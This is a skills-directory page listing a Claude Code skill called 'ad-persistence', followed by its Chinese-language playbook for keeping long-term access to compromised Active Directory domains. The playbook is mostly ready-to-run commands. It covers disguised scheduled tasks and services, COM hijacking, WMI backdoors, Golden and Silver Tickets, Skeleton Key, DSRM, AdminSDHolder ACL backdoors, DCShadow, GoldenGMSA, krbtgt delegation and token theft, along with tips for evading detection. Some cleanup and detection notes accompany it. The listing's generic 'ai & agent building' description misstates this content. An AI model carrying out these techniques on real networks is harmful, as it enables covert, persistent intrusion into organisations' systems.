
Ad Persistence
- 24 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
ad-persistence is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- ad-persistence
- AI & Agent Building
- AI-coding skill
Ad Persistence by the numbers
- 24 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,876 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill ad-persistenceAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 24 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
AD 持久化方法论
获取高权限后的核心目标: 建立持久访问,确保重启/密码更改后仍能回到目标环境。
深入参考(必读)
- 主机级持久化完整命令与清理 → references/host-persistence.md
- 域级持久化完整命令与清理 → references/domain-persistence.md
- → references/advanced-persistence.md — DCShadow、GoldenGMSA、krbtgt 委派持久化、Shadow Principals (PAM Trust)
---
Phase 1: 持久化决策
1.1 当前权限评估
# 检查当前权限
whoami /priv
whoami /groups
# 是否为域管
net group "Domain Admins" /domain
# 是否为本地管理员
net localgroup Administrators1.2 决策树
[开始] 需要建立持久化
|
v
[评估] 当前权限级别?
|
+-- 普通域用户 --> 先提权,持久化意义不大
|
+-- 本地管理员 / SYSTEM --> [主机级持久化] Phase 2
| |
| +-- 需要隐蔽 --> COM 劫持 / WMI 事件订阅
| +-- 需要可靠 --> 计划任务 / Windows 服务
| +-- 仅需用户级 --> 注册表 Run / 启动文件夹
|
+-- 域管理员 --> [域级持久化] Phase 3
|
+-- 有 krbtgt 哈希 --> Golden Ticket (最强)
+-- 有服务账户哈希 --> Silver Ticket (隐蔽)
+-- 有 DC 访问权限 --> Skeleton Key / DSRM
+-- 需要 ACL 后门 --> AdminSDHolder1.3 隐蔽性评估
| 技术 | 检测难度 | 持久时间 | 权限要求 | 推荐场景 |
|---|---|---|---|---|
| 计划任务 | 中 | 永久 | 用户/SYSTEM | 快速部署 |
| 启动文件夹 | 低 | 永久 | 用户 | 临时/低价值 |
| 注册表 Run | 中 | 永久 | 用户/SYSTEM | 通用 |
| COM 劫持 | 高 | 永久 | 用户 | 长期隐蔽 |
| Windows 服务 | 中 | 永久 | SYSTEM | 系统级访问 |
| WMI 事件订阅 | 高 | 永久 | SYSTEM | 高隐蔽需求 |
| Golden Ticket | 高 | 10 年 | krbtgt 哈希 | 域级最强 |
| Silver Ticket | 高 | 票据有效期 | 服务账户哈希 | 不触及 DC |
| Skeleton Key | 中 | 重启失效 | DC 内存访问 | 临时万能钥匙 |
| DSRM | 高 | 永久 | DC 本地管理员 | 隐蔽后门 |
| AdminSDHolder | 中 | 永久(60min 同步) | 域管理员 | ACL 持久化 |
---
Phase 2: 主机级持久化
2.1 计划任务
权限: 用户级或 SYSTEM | 检测难度: 中
# SharPersist - 每小时执行
SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc BASE64" -n "Updater" -m add -o hourly
# schtasks - 开机启动 / 定时执行
schtasks /create /tn "WinDefUpdate" /tr "C:\Windows\Temp\svc.exe" /sc onlogon /ru SYSTEM /f
schtasks /create /tn "HealthCheck" /tr "C:\Windows\Temp\svc.exe" /sc minute /mo 30 /ru SYSTEM /f
# 清理
schtasks /delete /tn "WinDefUpdate" /f2.2 启动文件夹
权限: 用户 | 检测难度: 低
SharPersist.exe -t startupfolder -c "powershell.exe" -a "-nop -w hidden -enc BASE64" -f "UserEnvSetup" -m add
# 路径: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
# 清理
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\UserEnvSetup.lnk"2.3 注册表 Run 键
权限: 用户 (HKCU) / SYSTEM (HKLM) | 检测难度: 中
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdate" /t REG_SZ /d "C:\ProgramData\updater.exe" /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdate" /t REG_SZ /d "C:\ProgramData\updater.exe" /f
# 清理
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdate" /f更多注册表位置 (Winlogon Shell/Userinit, IFEO) 见 references/host-persistence.md
2.4 COM 劫持
权限: 用户 | 检测难度: 高
原理: HKCU 中注册同 CLSID 的恶意 DLL,优先于 HKLM 中的正常组件被加载。
# 在 HKCU 创建劫持项 (HKLM 中已存在该 CLSID)
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{TARGET-CLSID}"
New-Item -Path "HKCU:Software\Classes\CLSID\{TARGET-CLSID}" -Name "InprocServer32" -Value "C:\Payloads\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32" -Name "ThreadingModel" -Value "Both"
# 清理
Remove-Item -Path "HKCU:Software\Classes\CLSID\{TARGET-CLSID}" -RecurseCLSID 发现方法 (procmon/计划任务枚举) 见 references/host-persistence.md
2.5 Windows 服务
权限: SYSTEM | 检测难度: 中
sc create "WinDefSvc" binPath= "C:\Windows\legit-svc.exe" start= auto DisplayName= "Windows Defender Update"
sc start "WinDefSvc"
# 清理
sc stop "WinDefSvc" && sc delete "WinDefSvc"SYSTEM 进程无法进行网络 NTLM 认证,应使用 SMB/TCP/DNS 通道而非 HTTP。
2.6 WMI 事件订阅
权限: SYSTEM | 检测难度: 高
三组件架构: EventFilter(触发条件) + EventConsumer(执行动作) + FilterToConsumerBinding(绑定)。
# PowerLurk 一键创建
Import-Module .\PowerLurk.ps1
Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:\Windows\artifact.exe" -Trigger ProcessStart -ProcessName notepad.exe
# 清理
Get-WmiEvent -Name WmiBackdoor | Remove-WmiObject完整三组件 PowerShell/wmic 手动创建代码见 references/host-persistence.md
---
Phase 3: 域级持久化
3.1 Golden Ticket
要求: krbtgt NTLM 哈希 (DCSync 获取) | 有效期: 默认 10 年
# Linux: DCSync + 伪造 + 使用
impacket-secretsdump DOMAIN/admin:PASS@DC_IP -just-dc-user krbtgt
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/Administrator@dc.domain.local# Windows
Rubeus.exe golden /user:Administrator /domain:DOMAIN /sid:S-1-5-21-xxx /krbtgt:KRBTGT_HASH /ptt清理: 两次更改 krbtgt 密码 (AD 保留前一次密码)。跨域场景 /sids 参数见 references。
3.2 Silver Ticket
要求: 服务账户 NTLM 哈希 | 优势: 不触及 DC
ticketer.py -nthash SVC_HASH -domain-sid S-1-5-21-xxx -domain domain.local -spn cifs/target.domain.local AdministratorRubeus.exe silver /service:cifs/TARGET /user:Administrator /domain:DOMAIN /sid:S-1-5-21-xxx /rc4:SVC_HASH /ptt常用 SPN: cifs/HOST(文件), HOST/DC(PsExec), MSSQLSvc/DB(SQL), LDAP/DC(DCSync)。清理: 更改服务账户密码。
3.3 Skeleton Key
要求: DC 内存访问 (域管 + SeDebugPrivilege) | 有效期: 直到 DC 重启
mimikatz # privilege::debug
mimikatz # misc::skeleton
# 所有域用户均可使用密码 "mimikatz" 登录,原密码仍有效清理: 重启域控即可。仅内存级,需配合其他技术。
3.4 DSRM (目录服务还原模式)
要求: DC 本地管理员 | 有效期: 永久
mimikatz # lsadump::sam # 获取 DSRM 哈希 (SAM 中 Administrator)
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
sekurlsa::pth /domain:DC_HOSTNAME /user:Administrator /ntlm:DSRM_HASH /run:powershell.exe清理: Remove-ItemProperty "HKLM:\...\Lsa\" -Name "DsrmAdminLogonBehavior"
3.5 AdminSDHolder
要求: 域管理员 | SDProp 每 60 分钟同步 ACL 到所有受保护对象
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -PrincipalIdentity attacker -Rights Allimpacket-dacledit -action write -rights FullControl -principal attacker -target "CN=AdminSDHolder,CN=System,DC=domain,DC=local" DOMAIN/admin:PASS -dc-ip DC_IP清理: Remove-DomainObjectAcl ... -PrincipalIdentity attacker -Rights All + 等 SDProp 同步
---
Phase 4: 清理与检测规避
4.1 清理命令速查
| 技术 | 安装命令 | 清理命令 |
|---|---|---|
| 计划任务 | schtasks /create /tn NAME ... | schtasks /delete /tn NAME /f |
| 启动文件夹 | SharPersist -m add | Remove-Item ...Startup\NAME.lnk |
| 注册表 Run | reg add ...Run /v NAME | reg delete ...Run /v NAME /f |
| COM 劫持 | New-Item HKCU:...CLSID | Remove-Item HKCU:...CLSID -Recurse |
| Windows 服务 | sc create NAME | sc stop NAME && sc delete NAME |
| WMI 事件 | Register-MaliciousWmiEvent | `Get-WmiEvent NAME \ |
| Golden Ticket | ticketer.py -nthash | 两次更改 krbtgt 密码 |
| Silver Ticket | ticketer.py -spn | 更改服务账户密码 |
| Skeleton Key | misc::skeleton | 重启域控制器 |
| DSRM | 修改 DsrmAdminLogonBehavior | 删除注册表项 |
| AdminSDHolder | Add-DomainObjectAcl | Remove-DomainObjectAcl + 等待 SDProp |
4.2 检测规避要点
主机级:
- 任务名称模仿合法系统任务 (Windows Defender, Microsoft Update)
- 二进制文件放置在合法路径 (C:\Windows, C:\ProgramData)
- 使用 DLL 劫持而非独立 EXE
- WMI 触发条件设置合理间隔,避免频繁执行
域级:
- Golden Ticket 用户名使用真实存在的用户
- Silver Ticket 只针对需要的特定服务
- 避免跨域使用伪造票据 (日志异常)
- AdminSDHolder 添加低调权限而非 FullControl---
组合策略
最大持久性 (多层冗余):
域管: Golden Ticket + AdminSDHolder + 计划任务
本管: WMI 事件订阅 + COM 劫持 + 注册表 Run
最大隐蔽 (单一精准):
域管: Silver Ticket (仅特定服务,不触及 DC)
本管: COM 劫持 (DLL 形式,检测难度最高)---
常见问题
- 计划任务被删除? -- 换用 COM 劫持或 WMI 事件订阅,WMI 三组件全删才能清除
- Golden Ticket 不工作? -- 确认 krbtgt 哈希正确、域 SID 正确、时间偏差 < 5 分钟
- Skeleton Key 重启失效? -- 设计如此(仅内存),配合 Golden Ticket 或计划任务
- AdminSDHolder 没生效? -- SDProp 每 60 分钟运行,手动触发
Invoke-ADSDPropagation
---
工具参考
| 工具 | 用途 | 平台 |
|---|---|---|
| SharPersist | 多种主机持久化技术 (任务/注册表/服务/COM/启动) | Windows |
| PowerLurk | WMI 事件订阅 | Windows |
| SharpStay | C# 持久化工具 | Windows |
| Rubeus | Golden/Silver Ticket 创建 | Windows |
| Mimikatz | Skeleton Key/DSRM/票据伪造 | Windows |
| ticketer.py | Kerberos 票据伪造 (impacket) | Linux |
| impacket-secretsdump | DCSync 获取哈希 | Linux |
| impacket-dacledit | ACL 修改 (AdminSDHolder) | Linux |
| Incognito | Token 窃取与模拟 | Windows |
AD 高级持久化技术
DCShadow、GoldenGMSA、krbtgt 委派、Shadow Principals 四种进阶持久化方法。适用于已取得 Domain Admin 后需要建立长期隐蔽访问的场景。
---
DCShadow
原理
注册一台临时域控制器(修改目标机器的 SPN 和 CN=Configuration 条目),通过 DRS 复制协议将恶意修改推送到真实 DC,随后注销临时 DC 注册。所有变更均通过合法复制通道完成,不会产生常规 LDAP 修改日志。
前置条件
- Domain Admin 权限
- 两个 mimikatz 实例同时运行
- RPC shell: 以 SYSTEM 身份运行,准备变更内容
- Trigger shell: 以 DA 身份运行,触发复制推送
命令
# RPC shell (SYSTEM) — 准备变更
lsadump::dcshadow /object:$TARGET /attribute:$ATTR /value:$VALUE# Trigger shell (DA) — 推送复制
lsadump::dcshadow /push可修改内容
| 属性 | 用途 |
|---|---|
| servicePrincipalName | 添加 SPN 用于 Kerberoast 或 Silver Ticket |
| SIDHistory | 注入高权限 SID 实现权限提升 |
| primaryGroupID | 修改主组 (如改为 Domain Admins 512) |
| ntSecurityDescriptor (DACL) | 添加隐蔽 ACE 后门 |
| 任意 AD 属性 | 根据需要修改任何可复制属性 |
检测
- DRS 复制来自非 DC 源: Event ID 4929
- 监控
nTDSDSA对象的创建和删除 - 检查 SPN 中是否出现
E3514235-4B06-11D1-AB04-00C04FC2DCD2(DRS 复制 GUID)
注意事项
- 仅限 Windows 环境 (mimikatz 无 UNIX 版本)
- 需要两个独立进程同时运行
- 推送完成后临时 DC 注册会自动清理
---
GoldenGMSA
原理
Group Managed Service Account (gMSA) 的密码由 KDS Root Key 派生计算。KDS Root Key 创建后不会轮转,因此一旦提取该 Key,即可离线计算任意 gMSA 的当前密码——即使 gMSA 密码每 240 小时自动轮转。
获取 KDS Root Key (需 Domain Admin)
# Windows
GoldenGMSA.exe kdsinfo# UNIX (impacket 扩展)
python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP kdsinfo计算 gMSA 密码 (仅需低权限)
获取 KDS Root Key 后,后续利用只需能读取 gMSA 对象的 msDS-ManagedPasswordId 属性(默认 Authenticated Users 可读)。
# 枚举 gMSA 信息
GoldenGMSA.exe gmsainfo# 计算指定 gMSA 密码 (Windows)
GoldenGMSA.exe compute --sid "$SID" --kdskey "$KEY" --pwdid "$PWDID"# 计算指定 gMSA 密码 (UNIX)
python3 main.py compute --sid $SID --kdskey "$KEY" --pwdid "$PWDID"NT Hash 转换
计算结果为 Base64 编码的密码,需转换为 NT hash 用于 Pass-the-Hash:
import hashlib, base64
nt_hash = hashlib.new("md4", base64.b64decode(b64)).hexdigest()持久化优势
- KDS Root Key 不会过期或轮转
- 提取一次即可永久计算所有 gMSA 密码
- 后续利用仅需低权限(读取 gMSA 对象)
- gMSA 常用于高权限服务账户
检测
- 审计 KDS Root Key 对象的读取 (
CN=Master Root Keys,CN=Group Key Distribution Service,CN=Services,CN=Configuration) - 监控非授权主机请求 gMSA 密码
- 定期轮换 KDS Root Key (需重新创建所有 gMSA)
---
Delegation to krbtgt
原理
对 krbtgt 账户设置 Resource-Based Constrained Delegation (RBCD),使受控计算机账户可通过 S4U2proxy 获取 krbtgt 服务的 TGS。由于 krbtgt 的 TGS 本质上等同于 TGT,因此可模拟任意用户获取域内任何服务的访问权限。
限制
- Protected Users 组成员不受影响(不允许委派)
- 标记为 "Account is sensitive and cannot be delegated" 的用户不受影响
命令 (UNIX)
# 设置 RBCD: 允许 YOURPC$ 委派到 krbtgt
rbcd.py -delegate-from 'YOURPC$' -delegate-to 'krbtgt' -dc-ip $DC -action write 'DOMAIN/DA:Pass'
# S4U: 模拟目标用户获取 krbtgt TGS (≈ TGT)
getST.py -spn "KRBTGT" -impersonate "TargetUser" -dc-ip $DC 'DOMAIN/YOURPC$:Pass'
# 使用获取的票据访问目标服务
KRB5CCNAME='TargetUser@krbtgt_DOMAIN@DOMAIN.ccache' getST.py -spn 'cifs/target' -k -no-pass 'DOMAIN/TargetUser'命令 (Windows)
# 设置 RBCD
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount YOURPC$
# S4U: 模拟目标用户
Rubeus.exe s4u /nowrap /impersonateuser:"TargetUser" /msdsspn:"krbtgt" /domain:"DOMAIN" /user:"YOURPC$" /rc4:$HASH
# 使用票据访问服务
Rubeus.exe asktgs /service:"cifs/target" /ticket:"base64ticket" /ptt隐蔽性分析
- 不修改
krbtgt密码(与 Golden Ticket 不同) - 不触发密码重置相关告警
- 常规监控通常不检测 RBCD 配置变更
msDS-AllowedToActOnBehalfOfOtherIdentity属性存储在krbtgt对象上
检测
- 监控
krbtgt对象的msDS-AllowedToActOnBehalfOfOtherIdentity属性变更 - S4U2self/S4U2proxy 请求目标为
krbtgt的 Kerberos 日志 - Event ID 4742 (计算机账户修改) 关联 RBCD 配置
清理
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount $nullrbcd.py -delegate-from 'YOURPC$' -delegate-to 'krbtgt' -dc-ip $DC -action remove 'DOMAIN/DA:Pass'---
Shadow Principals / PAM Trust
原理
在 PAM Trust (Privileged Access Management Trust) / Red Forest / Bastion Forest 架构中,Bastion Forest 被攻陷后可在 Production Forest 建立持久化。Shadow Security Principals 映射 Bastion Forest 中的用户到 Production Forest 中的高权限组,攻击者可操纵此映射关系。
方法 1: 标记 Shadow Security Principal
将 Production Forest 中的低权限用户标记为 Shadow Security Principal,使其在 Bastion Forest 的 PAM Trust 关系中获得高权限映射。
# 枚举现有 Shadow Principal 对象
Get-ADObject -SearchBase "CN=Shadow Principal Configuration,CN=Services,$CONFIGURATION_DN" -Filter * -Properties *
# 查看映射关系
Get-ADObject -Filter {objectClass -eq "msDS-ShadowPrincipal"} -SearchBase "CN=Shadow Principal Configuration,CN=Services,$CONFIGURATION_DN" -Properties msDS-ShadowPrincipalSid,member# 添加低权限用户到 Shadow Principal 的 member 属性
Set-ADObject "CN=$SHADOW_PRINCIPAL,CN=Shadow Principal Configuration,CN=Services,$CONFIGURATION_DN" -Add @{member="CN=$LOW_PRIV_USER,CN=Users,$DOMAIN_DN"}方法 2: 修改 Shadow Principal Object DACL
在 Shadow Principal Object 上添加 Read/Write Members ACE,使受控用户可自行修改成员关系。
# 获取 Shadow Principal 对象的 ACL
$acl = Get-Acl "AD:CN=$SHADOW_PRINCIPAL,CN=Shadow Principal Configuration,CN=Services,$CONFIGURATION_DN"
# 添加 Write Members 权限给受控用户
$identity = New-Object System.Security.Principal.NTAccount("$DOMAIN\$CONTROLLED_USER")
$rights = [System.DirectoryServices.ActiveDirectoryRights]::ReadProperty -bor [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
$type = [System.Security.AccessControl.AccessControlType]::Allow
# bf9679c0-0de6-11d0-a285-00aa003049e2 = member 属性的 GUID
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity, $rights, $type, [guid]"bf9679c0-0de6-11d0-a285-00aa003049e2")
$acl.AddAccessRule($ace)
Set-Acl -AclObject $acl "AD:CN=$SHADOW_PRINCIPAL,CN=Shadow Principal Configuration,CN=Services,$CONFIGURATION_DN"适用场景
| 架构 | 说明 |
|---|---|
| PAM Trust | Windows Server 2016+ 原生 PAM 功能 |
| Red Forest (ESAE) | Enhanced Security Admin Environment |
| Bastion Forest | 通用堡垒森林架构 |
前置条件
- 已攻陷 Bastion Forest 的高权限
- Bastion Forest 与 Production Forest 之间存在 PAM Trust 关系
- 对 Shadow Principal Configuration 容器有写权限
检测
- 监控
CN=Shadow Principal Configuration容器下对象的修改 - 审计 Shadow Principal 对象的 member 属性变更
- 检测 DACL 变更 (Event ID 5136 / 4662)
- 异常的跨森林认证请求
隐蔽性
- PAM Trust 本身就是管理员使用的合法功能
- Shadow Principal 修改不会触发 Production Forest 中的告警
- DACL 后门允许后续低权限利用
域级持久化技术
Golden Ticket
原理
伪造 TGT (Ticket Granting Ticket)。拥有 krbtgt 账户的 NTLM 哈希后,可以离线生成任意用户的 TGT,默认有效期 10 年。相当于拥有域的万能钥匙。
获取 krbtgt 哈希 (DCSync)
# impacket - 仅提取 krbtgt
impacket-secretsdump DOMAIN/admin:PASS@DC_IP -just-dc-user krbtgt
# 输出:
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:NTLM_HASH:::
# impacket - 提取所有哈希
impacket-secretsdump DOMAIN/admin:PASS@DC_IP -just-dc# Mimikatz DCSync
lsadump::dcsync /domain:domain.local /user:krbtgt
# 输出中 Hash NTLM 即为所需哈希获取域 SID
# Linux
impacket-lookupsid DOMAIN/user:PASS@DC_IP | head -1
# DOMAIN\Everyone (S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX)
# 域 SID = S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX (去掉最后的 RID)
# netexec
netexec ldap DC_IP -u USER -p PASS -d DOMAIN --get-sid# Windows
whoami /user
# 域 SID = 用户 SID 去掉最后的 -RID 部分
Get-ADDomain | Select-Object DomainSID伪造票据 (Linux)
# ticketer.py 创建 Golden Ticket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
# 设置票据环境变量
export KRB5CCNAME=Administrator.ccache
# 使用票据
psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
secretsdump.py -k -no-pass domain.local/Administrator@dc.domain.local
smbclient.py -k -no-pass domain.local/Administrator@dc.domain.local
wmiexec.py -k -no-pass domain.local/Administrator@dc.domain.local伪造票据 (Windows)
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:KRBTGT_HASH /ptt
# Rubeus
Rubeus.exe golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:KRBTGT_HASH /ptt
# 验证
klist
dir \\DC\C$跨域 Golden Ticket (/sids 参数)
# 跨林信任场景: 父域的 krbtgt + /sids 添加 Enterprise Admins SID
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-CHILD_SID -domain child.domain.local -extra-sid S-1-5-21-PARENT_SID-519 Administrator
# -extra-sid 519 = Enterprise Admins
# 票据中嵌入父域 EA 组 SID,实现跨域访问# Mimikatz 跨域
kerberos::golden /user:Administrator /domain:child.domain.local /sid:S-1-5-21-CHILD_SID /krbtgt:KRBTGT_HASH /sids:S-1-5-21-PARENT_SID-519 /ptt清理
Golden Ticket 的清理需要两次更改 krbtgt 密码,因为 AD 保留当前密码和前一次密码:
# 第一次更改 (使旧哈希变为 "前一次密码")
# 使用 AD 管理工具重置 krbtgt 密码
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString "NewPassword1!" -AsPlainText -Force)
# 等待域复制完成 (视域大小,至少等 12-24 小时)
# 第二次更改 (彻底废弃旧哈希)
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString "NewPassword2!" -AsPlainText -Force)警告: 两次更改之间必须等待完全复制,否则可能导致域认证故障。
---
Silver Ticket
原理
伪造 TGS (Service Ticket) 直接访问特定服务,不需要联系域控。比 Golden Ticket 更隐蔽,但只能访问持有哈希的那个服务。
目标 SPN 与服务映射
| SPN 格式 | 服务 | 用途 |
|---|---|---|
cifs/HOST | SMB/文件共享 | 文件访问、PsExec |
HOST/DC | 多种服务 | PsExec、WMI、计划任务 |
HTTP/WEB | Web 服务 | Web 管理面板 |
MSSQLSvc/DB:1433 | SQL Server | 数据库访问 |
WSMAN/HOST | WinRM | 远程 PowerShell |
LDAP/DC | LDAP | 目录查询、DCSync |
TERMSRV/HOST | RDP | 远程桌面 |
获取服务账户哈希
# Kerberoasting (从域用户到服务账户哈希)
impacket-GetUserSPNs DOMAIN/user:PASS -dc-ip DC_IP -request -outputfile tgs_hashes.txt
hashcat -m 13100 tgs_hashes.txt wordlist.txt
# 机器账户哈希 (DCSync)
impacket-secretsdump DOMAIN/admin:PASS@DC_IP -just-dc-user 'TARGET_HOST$'伪造票据 (Linux)
# 针对 CIFS (文件共享)
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-xxx -domain domain.local -spn cifs/target.domain.local Administrator
export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass target.domain.local
# 针对 LDAP (可执行 DCSync)
ticketer.py -nthash DC_MACHINE_HASH -domain-sid S-1-5-21-xxx -domain domain.local -spn ldap/dc.domain.local Administrator
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass domain.local/Administrator@dc.domain.local -just-dc伪造票据 (Windows)
# Rubeus - 针对 CIFS
Rubeus.exe silver /service:cifs/target.domain.local /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /rc4:SERVICE_HASH /ptt
# Mimikatz - 针对 HOST (支持 PsExec)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:target.domain.local /service:HOST /rc4:SERVICE_HASH /ptt
# 验证
klist
dir \\target\C$清理
# 更改对应服务账户密码
# 如果是机器账户,需要 reset 机器账户密码
net rpc password 'TARGET$' -U DOMAIN/admin%PASS -S DC_IP---
Skeleton Key
原理
在域控的 LSASS 进程中注入补丁,使所有域用户可以使用万能密码 "mimikatz" 登录,同时原密码仍然有效。仅存在于内存中,DC 重启后失效。
前置条件
- 域管理员权限
- SeDebugPrivilege (调试权限)
- 对 DC 的直接访问
注入
# Mimikatz (在 DC 上执行)
privilege::debug
misc::skeleton
# [KDC] data
# [KDC] uDiffCSP
# Skeleton Key 注入成功# 远程通过 PsExec/WMI 在 DC 上执行 Mimikatz
# SharpKatz
execute-assembly /path/to/SharpKatz.exe --Command "misc::skeleton"使用万能密码
# SMB 登录 - 任何用户都可以用 "mimikatz" 作为密码
netexec smb DC_IP -u Administrator -p mimikatz -d domain.local
netexec smb DC_IP -u any_domain_user -p mimikatz -d domain.local
# impacket
psexec.py domain.local/Administrator:mimikatz@DC_IP
wmiexec.py domain.local/any_user:mimikatz@DC_IP
# RDP
xfreerdp /d:domain.local /u:any_user /p:mimikatz /v:DC_IP /cert-ignore限制
- 仅在内存中,DC 重启后失效
- 如果 DC 上运行了 LSA 保护 (RunAsPPL),需要先绕过
- 多 DC 环境需要在每台 DC 上分别注入
- 不影响已缓存的 Kerberos 票据
清理
重启域控制器即可清除 Skeleton Key。
无需其他操作,因为补丁仅存在于 LSASS 进程内存中。---
DSRM (目录服务还原模式)
原理
每台 DC 在安装时设置 DSRM 密码,该密码对应 DC 本地 Administrator 账户。默认情况下 DSRM 账户无法从网络登录,但修改注册表后可以启用。这提供了一个不受域密码策略影响的后门。
步骤 1: 获取 DSRM 密码哈希
# 在 DC 上通过 Mimikatz 读取 SAM
privilege::debug
token::elevate
lsadump::sam
# 输出中 Administrator 的 NTLM 哈希即为 DSRM 密码哈希
# User : Administrator
# Hash NTLM: DSRM_NTLM_HASH步骤 2: 修改注册表允许网络登录
# 查看当前值 (默认不存在)
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name DsrmAdminLogonBehavior -ErrorAction SilentlyContinue
# 设置为 2: 允许在任何时候从网络登录
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD -ForceDsrmAdminLogonBehavior 取值:
0(默认): 仅在 DSRM 模式启动时可登录1: 仅在 AD DS 服务停止时可登录2: 任何时候均可登录 (攻击者需要的值)
步骤 3: 使用 DSRM 哈希登录
# Pass-the-Hash 使用 DSRM 哈希
# 注意: 域名使用 DC 的主机名 (本地账户)
sekurlsa::pth /domain:DC_HOSTNAME /user:Administrator /ntlm:DSRM_HASH /run:powershell.exe# Linux - PTH
impacket-psexec DC_HOSTNAME/Administrator@DC_IP -hashes :DSRM_HASH
# 注意: 域部分使用 DC 主机名而非域名
# netexec
netexec smb DC_IP -u Administrator -H DSRM_HASH --local-auth清理
# 删除注册表项 (恢复默认行为)
Remove-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Force
# 或设置为 0
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 0---
AdminSDHolder
原理
AdminSDHolder 是位于 CN=AdminSDHolder,CN=System,DC=domain,DC=local 的特殊容器。SDProp (Security Descriptor Propagator) 进程每 60 分钟运行一次,将 AdminSDHolder 的 ACL 复制到所有受保护对象:
受保护组: Domain Admins, Enterprise Admins, Schema Admins, Administrators, Account Operators, Server Operators, Backup Operators, Print Operators 等。
攻击者将自己添加到 AdminSDHolder 的 ACL 后,SDProp 会自动将该权限传播到所有受保护组,实现持久化。
添加 ACL (Windows)
# PowerView - 添加 FullControl
Import-Module PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -PrincipalIdentity attacker -Rights All
# 更隐蔽: 仅添加 GenericWrite (足以修改组成员)
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -PrincipalIdentity attacker -Rights WriteMembers
# 手动触发 SDProp (无需等 60 分钟)
Invoke-ADSDPropagation添加 ACL (Linux)
# impacket dacledit - 添加 FullControl
impacket-dacledit -action write -rights FullControl -principal attacker -target "CN=AdminSDHolder,CN=System,DC=domain,DC=local" DOMAIN/admin:PASS -dc-ip DC_IP
# bloodyAD
bloodyAD -d DOMAIN -u admin -p PASS --host DC_IP add genericAll "CN=AdminSDHolder,CN=System,DC=domain,DC=local" attacker验证
# 等待 60 分钟 (或手动触发 SDProp)
# 然后检查 attacker 是否对 Domain Admins 有权限
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -eq "ATTACKER_SID"}# 验证后将自己加入 Domain Admins
net rpc group addmem "Domain Admins" attacker -U DOMAIN/attacker%PASS -S DC_IP清理
# 删除 AdminSDHolder 上的 ACL
Remove-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -PrincipalIdentity attacker -Rights All
# 还需等待 SDProp 下一次运行 (60分钟) 清除传播的权限
# 或手动清除各受保护对象上的 ACL# Linux
impacket-dacledit -action remove -rights FullControl -principal attacker -target "CN=AdminSDHolder,CN=System,DC=domain,DC=local" DOMAIN/admin:PASS -dc-ip DC_IP---
Token 操作
Token 模拟 (Incognito)
窃取已登录用户的访问令牌,以其身份执行操作。需要本地管理员权限。
# Meterpreter
load incognito
list_tokens -u
# Delegation Tokens Available:
# DOMAIN\Administrator
# DOMAIN\user01
